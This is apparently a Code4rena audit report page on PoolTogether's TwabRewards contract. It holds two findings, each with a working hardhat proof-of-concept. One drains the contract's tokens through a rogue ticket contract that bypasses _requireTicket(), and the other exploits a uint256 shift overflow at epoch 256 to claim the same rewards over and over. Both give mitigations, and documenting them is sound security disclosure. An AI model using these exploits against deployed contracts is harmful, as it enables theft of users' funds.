Platform: Code4rena
Start Date: 09/12/2021
Pot Size: $25,000 USDC
Total HM: 12
Participants: 25
Period: 4 days
Judge: LSDan
Total Solo HM: 4
Id: 64
League: ETH
Rank: 20/25
Findings: 2
Award: $217.24
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: johnnycash
Also found by: WatchPug, csanuragjain, gpersoon, gzeon, harleythedog, kemmio, kenzo, leastwood, pauliax
kemmio
Possibility to drain all smart contract assets abusing rogue ticket contract
The vulnerability arises because of inconsistent check of _requireTicket() in createPromotion() https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L96
_requireTicket(_ticket);
https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L230-L244
function _requireTicket(address _ticket) internal view { require(_ticket != address(0), "TwabRewards/ticket-not-zero-address"); (bool succeeded, bytes memory data) = address(_ticket).staticcall( abi.encodePacked(ITicket(_ticket).controller.selector) ); address controllerAddress; if (data.length > 0) { controllerAddress = abi.decode(data, (address)); } require(succeeded && controllerAddress != address(0), "TwabRewards/invalid-ticket"); }
This can be bypass with a PoC contract:
contract Attacker{ function controller() external payable returns(address){ return address(this); } function getAverageBalanceBetween( address user, uint64 startTime, uint64 endTime ) external view returns (uint256) { return 13; // this is multiplied by tokensPerEpoch; } function getAverageTotalSuppliesBetween( uint64[] calldata startTimes, uint64[] calldata endTimes ) external view returns (uint256[] memory){ uint256[] memory ret = new uint256[](1); ret[0] = 1; return ret; } }
After creating the promotion the claimRewards() is called and the claimed tokens count are manipulated by getAverageBalanceBetween() and getAverageTotalSuppliesBetween() functions of the rogue contract
Proof of Concept(hardhat test case):
describe('Attack', async()=>{ it('attacker able to withdraw more than he can', async()=>{ //CREATE PROMOTION FOR OTHER USERS const promotionId = 1; await expect(createPromotion(ticket.address)) .to.emit(twabRewards, 'PromotionCreated') .withArgs(promotionId); const promotion = await twabRewards.callStatic.getPromotion(promotionId); expect(promotion.creator).to.equal(wallet1.address); expect(promotion.ticket).to.equal(ticket.address); expect(promotion.token).to.equal(rewardToken.address); expect(promotion.tokensPerEpoch).to.equal(tokensPerEpoch); expect(promotion.startTimestamp).to.equal(createPromotionTimestamp); expect(promotion.epochDuration).to.equal(epochDuration); expect(promotion.numberOfEpochs).to.equal(numberOfEpochs); let attackerTicketFactory = await getContractFactory('Attacker'); let attackerTicket = await attackerTicketFactory.deploy(); const att_tokensPerEpoch = toWei('10000'); const att_epochDuration = 1; // 1 week in seconds const att_numberOfEpochs = 1; // 3 months since 1 epoch runs for 1 week const att_promotionAmount = att_tokensPerEpoch.mul(att_numberOfEpochs); createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp; await rewardToken.mint(attacker.address, att_promotionAmount); await rewardToken.connect(attacker).approve(twabRewards.address, att_promotionAmount); await expect(twabRewards.connect(attacker).createPromotion( attackerTicket.address, rewardToken.address, att_tokensPerEpoch, createPromotionTimestamp, att_epochDuration, att_numberOfEpochs, )).to.emit(twabRewards, 'PromotionCreated'); //check if all rewardTokens are in possession of TWAB contract let balance = await rewardToken.balanceOf(twabRewards.address); console.log(balance.toString()); expect(balance).to.be.equal(att_promotionAmount.add(promotionAmount)); await twabRewards.connect(attacker).claimRewards(attacker.address, 2, [0]); expect(await rewardToken.balanceOf(attacker.address)).to.be.equal(balance); //ALL ASSETS DRAINED }); });
For the test to run properly: 1)add this test to TwabRewards.test.ts 2) Add or rename one of the signers to "attacker"
[wallet1, wallet2, wallet3, attacker] = await getSigners();
3)Create Attacker.sol in /contracts/ folder with the PoC
Harden the _requireTicket() check e.g. if there are multiple tickets, keep a registry of them
#0 - PierrickGT
2021-12-13T16:24:27Z
🌟 Selected for report: johnnycash
Also found by: 0x421f, cmichel, gpersoon, gzeon, harleythedog, kemmio, kenzo, sirhashalot
kemmio
Possibility to drain all smart contract assets abusing uint256 overflow in _updateClaimedEpoch()
The vulnerability arises because of uint256 overflow in _updateClaimedEpoch() https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L355
return _userClaimedEpochs | (uint256(1) << _epochId);
if _epochId == 256 the result of (uint256(1) << _epochId) will be 0, solidity compiler does not have overflow check for byte shift operations (unlike arithmetic checks that were introduced in 0.8.0): https://docs.soliditylang.org/en/v0.8.0/control-structures.html?highlight=unchecked#checked-or-unchecked-arithmetic
The attacker needs to have in possession at least 1 valid ticket, and some reward-tokens. He creates a promotion using createPromotion(). After that he calls claimRewards() with user=attacker, _promotionId=ATTACKER_PROMOTION_ID and _epochIds = [256,256,....256] - the length of the array will multiply the rewards, since we can claim the same reward multiple times
The require statement is successfully bypassed because of the overflow since _updateClaimedEpoch() will always OR with 0 https://github.com/pooltogether/v4-periphery/blob/master/contracts/TwabRewards.sol#L175-L181
require( !_isClaimedEpoch(_userClaimedEpochs, _epochId), "TwabRewards/rewards-already-claimed" ); _rewardsAmount += _calculateRewardAmount(_user, _promotion, _epochId); _userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId);
And _rewardsAmount with get accumulated _epochIds.length — times
Proof of Concept(hardhat test case):
describe('Attack', async()=>{ it('attacker able to withdraw more than he can', async()=>{ //CREATE PROMOTION FOR OTHER USERS const promotionId = 1; await expect(createPromotion(ticket.address)) .to.emit(twabRewards, 'PromotionCreated') .withArgs(promotionId); const promotion = await twabRewards.callStatic.getPromotion(promotionId); expect(promotion.creator).to.equal(wallet1.address); expect(promotion.ticket).to.equal(ticket.address); expect(promotion.token).to.equal(rewardToken.address); expect(promotion.tokensPerEpoch).to.equal(tokensPerEpoch); expect(promotion.startTimestamp).to.equal(createPromotionTimestamp); expect(promotion.epochDuration).to.equal(epochDuration); expect(promotion.numberOfEpochs).to.equal(numberOfEpochs); //Create an attacker promotion const att_tokensPerEpoch = toWei('10000'); const att_epochDuration = 1; // 1 week in seconds const att_numberOfEpochs = 255; // 3 months since 1 epoch runs for 1 week const att_promotionAmount = att_tokensPerEpoch.mul(att_numberOfEpochs); createPromotionTimestamp = (await ethers.provider.getBlock('latest')).timestamp; await rewardToken.mint(attacker.address, att_promotionAmount); await rewardToken.connect(attacker).approve(twabRewards.address, att_promotionAmount); await expect(twabRewards.connect(attacker).createPromotion( ticket.address, rewardToken.address, att_tokensPerEpoch, createPromotionTimestamp, att_epochDuration, att_numberOfEpochs, )).to.emit(twabRewards, 'PromotionCreated'); //Mint some tickets await ticket.delegate(wallet1.address); await ticket.connect(attacker).delegate(attacker.address); await ticket.controllerMint(wallet1.address, toWei('1000')); await ticket.controllerMint(attacker.address, toWei('1000')); await increaseTime(att_epochDuration*256); //calculate how much attacker actually can withdraw let reward = await twabRewards.getRewardsAmount(attacker.address,2,[256]); await twabRewards.connect(attacker).claimRewards(attacker.address, 2, [256,256,256,256,256]); expect(await rewardToken.balanceOf(attacker.address)).to.be.equal(reward[0].mul(5)); //ASSETS DRAINED }); });
For the test to run properly:
[wallet1, wallet2, wallet3, attacker] = await getSigners();
_epochIds should be changed to be uint8 everywhere, also it is recommended to require that epochsIds < numberOfEpochs
#0 - PierrickGT
2021-12-13T16:39:24Z